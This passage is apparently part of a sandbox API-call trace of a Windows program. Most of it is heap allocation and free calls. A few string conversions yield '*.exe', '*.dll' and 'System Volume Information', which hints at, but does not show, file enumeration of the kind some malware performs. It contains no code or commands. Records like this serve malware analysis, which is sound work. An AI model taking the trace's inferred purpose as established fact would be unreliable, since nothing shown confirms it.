lpbSaclPresent=0x53f9c8, pSacl=0x53fa1c, lpbSaclDefaulted=0x53f9c8) returned 1 [0041.675] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c2d0 [0041.675] CreateEventA (lpEventAttributes=0x53fa10, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0041.675] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c2d0) returned 1 [0041.675] GetLastError () returned 0x0 [0041.675] LocalFree (hMem=0x7283a8) returned 0x0 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2210048 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bb80 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c2d0 [0041.676] Wow64DisableWow64FsRedirection (in: OldValue=0x53fa44 | out: OldValue=0x53fa44*=0x0) returned 1 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2212850 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2212850 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.676] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d600 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2b8 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2a8 [0041.676] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2b8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2a8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d600) returned 1 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d600 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2a8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2b8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.677] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2a8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2b8) returned 1 [0041.677] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d600) returned 1 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0041.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90d9d0 [0041.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c1f8, cbMultiByte=5, lpWideCharStr=0x90d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90da58 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d9d0) returned 1 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d600 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2b8 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90d9d0 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90da58) returned 1 [0041.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90da58 [0041.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c288, cbMultiByte=5, lpWideCharStr=0x90da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dae0 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90da58) returned 1 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2a8 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90da58 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dae0) returned 1 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2212850 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.678] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.678] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d298 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.679] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d288 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.679] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90bc08 [0041.679] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.679] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.679] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x2215058 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d248 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5e8 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d238 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c630 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d228 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c678 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d218 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c6c0 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d208 [0041.679] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c708 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1e8 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c750 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1f8 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c798 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d298) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d288) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c240) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc08) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.680] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0041.680] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d288 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90bc08 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d298 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5e8) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d248) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c630) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d238) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c678) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d228) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c6c0) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d218) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c708) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d208) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c750) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d1e8) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c798) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d1f8) returned 1 [0041.681] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2215058) returned 1 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x2215058 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1f8 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c798 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1e8 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c750 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d208 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c708 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d218 [0041.681] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c6c0 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d228 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c678 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d238 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c630 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d248 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5e8 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c240) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d288) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d298) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc08) returned 1 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90bc08 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d298 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d288 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0041.682] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c798) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d1f8) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c750) returned 1 [0041.682] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d1e8) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c708) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d208) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c6c0) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d218) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c678) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d228) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c630) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d238) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5e8) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d248) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2215058) returned 1 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0041.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dae0 [0041.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c1f8, cbMultiByte=25, lpWideCharStr=0x90dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0041.683] 